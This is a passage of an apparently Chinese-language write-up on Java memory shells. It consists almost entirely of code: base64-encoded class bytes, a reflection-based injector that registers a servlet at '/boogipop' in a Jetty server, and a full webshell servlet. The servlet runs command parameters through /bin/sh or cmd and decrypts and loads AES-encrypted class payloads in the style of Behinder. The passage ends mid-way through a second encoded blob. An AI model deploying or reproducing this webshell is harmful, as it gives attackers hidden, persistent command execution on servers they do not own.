aWxDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCHBwBVBwDCAQAKRXhjZXB0aW9ucwcAxwEABWRvR2V0AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKU291cmNlRmlsZQEAFVNlcnZsZXRUZW1wbGF0ZXMuamF2YQwASwBMBwDIDADJAMoBAB5bK10gRHluYW1pYyBTZXJ2bGV0IHNheXMgaGVsbG8HAMsMAMwAzQEABHR5cGUHAM4MAM8A0AEABWJhc2ljDAC6ANEHANIMANMA1AwA1QDWBwDXDADYAFcBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHANkMANoA2wwA3ADdBwDeDADfAOAMAEsA4QEAAlxBDADiAOMMAOQA1AcA5QwA5gDnBwDoDADpANQMAOkA0AwA6gDUAQAEUE9TVAwA6wDUDADsAO0BAAF1BwDuDADvAPABAANBRVMHAPEMAPIA8wEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA9AD1DAD2APcBAAAMAPYA+AwA+QDUDAD6APsMAEsA/AwA/QD+AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA/wEABwEBDAECANQMAQMBBAwBBQEGAQAoY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMkVQwBBwEIDAEJAQoMAEsBCwwBDAENDAEOAQ8BAAZlcXVhbHMBAA9qYXZhL2xhbmcvQ2xhc3MBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UMARABEQEAEGphdmEvbGFuZy9PYmplY3QHARIMARMBFAEAE2phdmEvbGFuZy9FeGNlcHRpb24MARUATAwAUgBTAQAmY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAcY29tL2Jvb2dpcG9wL21lbXNoZWxsL0NvbmZpZwEAC2dldFBhc3N3b3JkAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAdpc0VtcHR5AQADKClaAQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBABZnZXRCZWhpbmRlclNoZWxsUHdkUHdkAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAxzZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAEIoTGNvbS9ib29naXBvcC9tZW1zaGVsbC9TZXJ2bGV0VGVtcGxhdGVzO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAFnAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQAhAEcASAAAAAAABAABAEsATAABAE0AAAAvAAEAAQAAAAUqtwABsQAAAAIATgAAAAYAAQAAAA8ATwAAAAwAAQAAAAUAUABRAAAABABSAFMAAgBNAAACkgAHAAkAAAFqsgACEgO2AAQrEgW5AAYCAMYAiysSBbkABgIAEge2AAiZAHsruAAJuQAGAgBOLcYAai22AAqaAGMBOgSyAAsSDLYACJkAGga9AA1ZAxIOU1kEEg9TWQUtUzoEpwAXBr0ADVkDEhBTWQQSEVNZBS1TOgS7ABJZuAATGQS2ABS2ABW3ABYSF7YAGLYAGToFLLkAGgEAGQW2ABunANEruAAcuQAdAgDGAMUruQAeAQASH7YACJkAr7gAIE4ruQAhAQASIi25ACMDABIkuAAlOgQZBAW7ACZZuwAnWbcAKCu5ACEBABIiuQApAgC2ACoSK7YALLYALbYALhIktwAvtgAwGQS7ADFZtwAyK7kAMwEAtgA0tgA1tgA2OgW7ADdZKiq2ADi2ADm3ADoZBbYAOzoGGQa2ADw6BxkGEj0FvQA+WQMSP1NZBBJAU7YAQToIGQgZBwW9AEJZAytTWQQsU7YAQ1enAAhOLbYARbEAAQCnAWEBZABEAAMATgAAAGYAGQAAABIACAAUACMAFgAtABcAOAAYADsAGQBGABoAXQAcAHEAHgCNAB8AmAAhAKcAJAC1ACUAuQAmAMcAJwDOACgA/wApARkAKgEvACsBNgAsAU0ALQFhADEBZAAvAWUAMAFpADMATwAAAIQADQA7AF0AVABVAAQAjQALAFYAVwAFAC0AawBYAFcAAwC5AKgAWQBXAAMAzgCTAFoAWwAEARkASABcAF0ABQEvADIAXgBfAAYBNgArAGAAYQAHAU0AFABiAGMACAFlAAQAZABlAAMAAAFqAFAAUQAAAAABagBmAGcAAQAAAWoAaABpAAIAagAAABgAB/0AXQcAawcAbBP5ACYC+wDFQgcAbQQAbgAAAAQAAQBvAAQAcABTAAIATQAAAEkAAwADAAAAByorLLYARrEAAAACAE4AAAAKAAIAAAA3AAYAOABPAAAAIAADAAAABwBQAFEAAAAAAAcAZgBnAAEAAAAHAGgAaQACAG4AAAAEAAEAbwAJAHEAcgABAE0AAAArAAAAAQAAAAGxAAAAAgBOAAAABgABAAAAQgBPAAAADAABAAAAAQBzAFUAAAACAHQAAAACAHUASgAAAAoAAQA3AEcASQAA");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}

//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}

private static synchronized void InjectServlet() throws Exception {
if(servletHandler != null){
//方法二
Class EvilServlet = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addServletWithMapping", Class.class, String.class);
addFilterWithMapping.invoke(servletHandler, EvilServlet, "/boogipop");
}

}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();

while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}


public AddServletShell() {
try{
LoadServlet();
GetWebContent();
InjectServlet();
}catch (Exception e){
e.printStackTrace();
}

}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
new FilterBasedWithoutRequest();
}
}

ServletTempaltes如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.boogipop.memshell;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class ServletTemplates extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
System.out.println("[+] Dynamic Servlet says hello");

if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = request.getParameter(Config.getPassword());
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(result);
}
}else if(request.getHeader(Config.getHeader()) != null){
//behind3 shell
try{
if (request.getMethod().equals("POST")){
String k = Config.getBehinderShellPwdPwd();
request.getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{request, response});
}
}catch(Exception e){
e.printStackTrace();
}
}
}

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

class U extends ClassLoader{
U(ClassLoader c){super(c);}

public Class g(byte []b){return super.defineClass(b,0,b.length);}
}

public static void main(String[] args) {

}
}

感觉还是不太难。

1
yv66vgAAADQBEgoAKACkCgClAKYKAFIApwoAqACpCgCoAKoJAEAAqwoACgCsCgAMAK0HAK4HAK8IALAHALEHAFAJALIAswoADAC0CgCLALUIALYKAEAAtwcAuAoAsgC5CgCLALoIAGMKAEAAuwgAZAgAvAkAQAC9CgAJAL4HAL8IAMAHAMEKABMAwgoADADDCADECgAMAMUKAMYAtQoAxgDHCABtCgAMAMgIAG4HAMkJAEAAyggAywgAcQgAcgkAQADMCAB0CgAeAM0JAM4AzwgA0AoA0QDSCgAMANMHANQKAH0AtQoAfQDVBwDWCgA3ANcKAEIA2AoAQADZCgBAANoKAEAA2wgAZggA3AgA3QcA3goAQADYBwDfAQAOc2VydmxldEhhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAApmaWx0ZXJOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAPZmlsdGVyQ2xhc3NOYW1lAQADdXJsAQANQkFTRTY0RGVjb2RlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEZGF0YQEACmlucHV0Qnl0ZXMBAAJbQgEAB2VuY29kZXIHAOABAAdEZWNvZGVyAQAMSW5uZXJDbGFzc2VzAQAaTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBAAxlbmNvZGVkQnl0ZXMBAApMb2FkRmlsdGVyAQADKClWAQABYQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABYgEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlAQAKRXhjZXB0aW9ucwEADUdldFdlYkNvbnRlbnQBAA1jdXJyZW50VGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQASY29udGV4dENsYXNzTG9hZGVyAQAIX2NvbnRleHQBAAxJbmplY3RGaWx0ZXIBAAdIRmlsdGVyAQAYTGpha2FydGEvc2VydmxldC9GaWx0ZXI7AQASZmlsdGVyUGF0aE1hcHBpbmdzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAMY29uc3RydWN0b3IyAQAfTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckhvbGRlcgEACXNldEZpbHRlcgEAB3NldE5hbWUBAAtjb25zdHJ1Y3RvcgEADWZpbHRlck1hcHBpbmcBAA1zZXRGaWx0ZXJOYW1lAQAPc2V0RmlsdGVySG9sZGVyAQAJcGF0aFNwZWNzAQALc2V0UGF0aFNwZWMBAAhHZXRGaWVsZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAJlMQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQABbwEAAWsHAOEBAAlHZXRNZXRob2QBAFIoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAEdmFyNgEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAA29iagEACm1ldGhvZE5hbWUBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAGbWV0aG9kAQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABVbTGphdmEvbGFuZy9DbGFzczwqPjsHAOIBAAlTaWduYXR1cmUBAFUoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAGPGluaXQ+AQAEdGhpcwEAKUxjb20vYm9vZ2lwb3AvbWVtc2hlbGwvSW5qZWN0SmV0dHlGaWx0ZXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcA4wEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFkluamVjdEpldHR5RmlsdGVyLmphdmEMAOQA5QcA5gwA5wDoDADpAOoHAOsMAGEA7AwA7QDuDABHAEYMAO8A8AwA8QDyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzBwDzDAD0AIgMAPUA9gwA9wD4ARhUeXY2NnZnQUFBRElCR3dvQVF3QjdDUUI4QUgwSUFINEtBSDhBZ0FnQWdRc0FRQUNDQ0FDRENnQU5BSVFLQUlVQWhnb0FEUUNIQ1FDSUFJa0lBSW9IQUlzSUFJd0lBSTBJQUY4SUFJNEhBSThLQUpBQWtRb0FrQUNTQ2dDVEFKUUtBQklBbFFnQWxnb0FFZ0NYQ2dBU0FKZ0xBRUVBbVFvQW1nQ0FCd0NiQ2dDRkFKd0xBQndBblFzQUhBQ2VDQUNmQ2dDRkFLQUxBQndBb1FnQW9nc0Fvd0NrQ0FDbENnQ21BS2NIQUtnSEFLa0tBQ2dBZXdzQW93Q3FDZ0FvQUtzSUFLd0tBQ2dBclFvQUtBQ3VDZ0FOQUs4S0FDY0FzQW9BcGdDeEJ3Q3lDZ0F5QUhzTEFFQUFzd29BdEFDMUNnQXlBTFlLQUtZQXR3Y0F1QW9BUXdDNUNnQS9BTG9LQURnQXV3b0FPQUM4Q2dBL0FMMElBTDRIQUw4SEFNQUhBTUVLQUQ4QXdnY0F3d29BeEFERkJ3REdDZ0JGQU1jTEFNZ0F5UWNBeWdjQXl3RUFBVlVCQUF4SmJtNWxja05zWVhOelpYTUJBQVk4YVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUFRHbHVaVTUxYldKbGNsUmhZbXhsQVFBU1RHOWpZV3hXWVhKcFlXSnNaVlJoWW14bEFRQUVkR2hwY3dFQUpreGpiMjB2WW05dloybHdiM0F2YldWdGMyaGxiR3d2Um1sc2RHVnlWR1Z0Y0d4aGRHVTdBUUFFYVc1cGRBRUFIeWhNYW1GMllYZ3ZjMlZ5ZG14bGRDOUdhV3gwWlhKRGIyNW1hV2M3S1ZZQkFBeG1hV3gwWlhKRGIyNW1hV2NCQUJ4TWFtRjJZWGd2YzJWeWRteGxkQzlHYVd4MFpYSkRiMjVtYVdjN0FRQUtSWGhqWlhCMGFXOXVjd2NBekFFQUNHUnZSbWxzZEdWeUFRQmJLRXhxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSU1pYRjFaWE4wTzB4cVlYWmhlQzl6WlhKMmJHVjBMMU5sY25ac1pYUlNaWE53YjI1elpUdE1hbUYyWVhndmMyVnlkbXhsZEM5R2FXeDBaWEpEYUdGcGJqc3BWZ0VBQkdOdFpITUJBQk5iVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3QVFBR2NtVnpkV3gwQVFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQURZMjFrQVFBQmF3RUFCbU5wY0dobGNnRUFGVXhxWVhaaGVDOWpjbmx3ZEc4dlEybHdhR1Z5T3dFQURtVjJhV3hEYkdGemMwSjVkR1Z6QVFBQ1cwSUJBQWxsZG1sc1EyeGhjM01CQUJGTWFtRjJZUzlzWVc1bkwwTnNZWE56T3dFQUNtVjJhV3hQWW1wbFkzUUJBQkpNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUF4MFlYSm5aWFJOWlhSb2IyUUJBQnBNYW1GMllTOXNZVzVuTDNKbFpteGxZM1F2VFdWMGFHOWtPd0VBQVdVQkFCVk1hbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZianNCQUE1elpYSjJiR1YwVW1WeGRXVnpkQUVBSGt4cVlYWmhlQzl6WlhKMmJHVjBMMU5sY25ac1pYUlNaWEYxWlhOME93RUFEM05sY25ac1pYUlNaWE53YjI1elpRRUFIMHhxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSU1pYTndiMjV6WlRzQkFBdG1hV3gwWlhKRGFHRnBiZ0VBRzB4cVlYWmhlQzl6WlhKMmJHVjBMMFpwYkhSbGNrTm9ZV2x1T3dFQURWTjBZV05yVFdGd1ZHRmliR1VIQUlzSEFGd0hBTVlIQU0wQkFBZGtaWE4wY205NUFRQUtVMjkxY21ObFJtbHNaUUVBRTBacGJIUmxjbFJsYlhCc1lYUmxMbXBoZG1FTUFFd0FUUWNBemd3QXp3RFFBUUFkV3l0ZElFUjVibUZ0YVdNZ1JtbHNkR1Z5SUhOaGVYTWdhR1ZzYkc4SEFORU1BTklBMHdFQUJIUjVjR1VNQU5RQTFRRUFCV0poYzJsakRBQytBTllIQU5jTUFOZ0EyUXdBMmdEYkJ3RGNEQURkQUY0QkFBRXZBUUFRYW1GMllTOXNZVzVuTDFOMGNtbHVad0VBQnk5aWFXNHZjMmdCQUFJdFl3RUFBaTlEQVFBUmFtRjJZUzkxZEdsc0wxTmpZVzV1WlhJSEFONE1BTjhBNEF3QTRRRGlCd0RqREFEa0FPVU1BRXdBNWdFQUFseEJEQURuQU9nTUFPa0EyUXdBNmdEckJ3RHNBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEF3QTdRRFpEQUR0QU5VTUFPNEEyUUVBQkZCUFUxUU1BTzhBMlF3QThBRHhBUUFCZFFjQThnd0E4d0QwQVFBRFFVVlRCd0QxREFEMkFQY0JBQjlxWVhaaGVDOWpjbmx3ZEc4dmMzQmxZeTlUWldOeVpYUkxaWGxUY0dWakFRQVhhbUYyWVM5c1lXNW5MMU4wY21sdVowSjFhV3hrWlhJTUFQZ0ErUXdBK2dEN0FRQUFEQUQ2QVB3TUFQMEEyUXdBL2dEL0RBQk1BUUFNQUZNQkFRRUFGbk4xYmk5dGFYTmpMMEpCVTBVMk5FUmxZMjlrWlhJTUFRSUJBd2NCQkF3QkJRRFpEQUVHQVFjTUFRZ0JDUUVBSm1OdmJTOWliMjluYVhCdmNDOXRaVzF6YUdWc2JDOUdhV3gwWlhKVVpXMXdiR0YwWlNSVkRBRUtBUXNNQVF3QkRRd0FUQUVPREFFUEFSQU1BUkVCRWdFQUJtVnhkV0ZzY3dFQUQycGhkbUV2YkdGdVp5OURiR0Z6Y3dFQUhHcGhkbUY0TDNObGNuWnNaWFF2VTJWeWRteGxkRkpsY1hWbGMzUUJBQjFxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSU1pYTndiMjV6WlF3QkV3RVVBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQWNCRlF3QkZnRVhBUUFUYW1GMllTOXNZVzVuTDBWNFkyVndkR2x2Ymd3QkdBQk5Cd0VaREFCWkFSb0JBQ1JqYjIwdlltOXZaMmx3YjNBdmJXVnRjMmhsYkd3dlJtbHNkR1Z5VkdWdGNHeGhkR1VCQUJScVlYWmhlQzl6WlhKMmJHVjBMMFpwYkhSbGNnRUFIbXBoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEVWNFkyVndkR2x2YmdFQUUycGhkbUV2YVc4dlNVOUZlR05sY0hScGIyNEJBQkJxWVhaaEwyeGhibWN2VTNsemRHVnRBUUFEYjNWMEFRQVZUR3BoZG1FdmFXOHZVSEpwYm5SVGRISmxZVzA3QVFBVGFtRjJZUzlwYnk5UWNtbHVkRk4wY21WaGJRRUFCM0J5YVc1MGJHNEJBQlVvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1ZZQkFBeG5aWFJRWVhKaGJXVjBaWElCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFGU2hNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwV2dFQUhHTnZiUzlpYjI5bmFYQnZjQzl0WlcxemFHVnNiQzlEYjI1bWFXY0JBQXRuWlhSUVlYTnpkMjl5WkFFQUZDZ3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFIYVhORmJYQjBlUUVBQXlncFdnRUFER3BoZG1FdmFXOHZSbWxzWlFFQUNYTmxjR0Z5WVhSdmNnRUFFV3BoZG1FdmJHRnVaeTlTZFc1MGFXMWxBUUFLWjJWMFVuVnVkR2x0WlFFQUZTZ3BUR3BoZG1FdmJHRnVaeTlTZFc1MGFXMWxPd0VBQkdWNFpXTUJBQ2dvVzB4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxQnliMk5sYzNNN0FRQVJhbUYyWVM5c1lXNW5MMUJ5YjJObGMzTUJBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQVlLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3lsV0FRQU1kWE5sUkdWc2FXMXBkR1Z5QVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5MWRHbHNMMU5qWVc1dVpYSTdBUUFFYm1WNGRBRUFDV2RsZEZkeWFYUmxjZ0VBRnlncFRHcGhkbUV2YVc4dlVISnBiblJYY21sMFpYSTdBUUFUYW1GMllTOXBieTlRY21sdWRGZHlhWFJsY2dFQUNXZGxkRWhsWVdSbGNnRUFDV2RsZEUxbGRHaHZaQUVBRm1kbGRFSmxhR2x1WkdWeVUyaGxiR3hRZDJSUWQyUUJBQXBuWlhSVFpYTnphVzl1QVFBaUtDbE1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYTnphVzl1T3dFQUhtcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWemMybHZiZ0VBREhObGRFRjBkSEpwWW5WMFpRRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwVmdFQUUycGhkbUY0TDJOeWVYQjBieTlEYVhCb1pYSUJBQXRuWlhSSmJuTjBZVzVqWlFFQUtTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1GNEwyTnllWEIwYnk5RGFYQm9aWEk3QVFBTVoyVjBRWFIwY21saWRYUmxBUUFtS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBWmhjSEJsYm1RQkFDMG9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVXhxWVhaa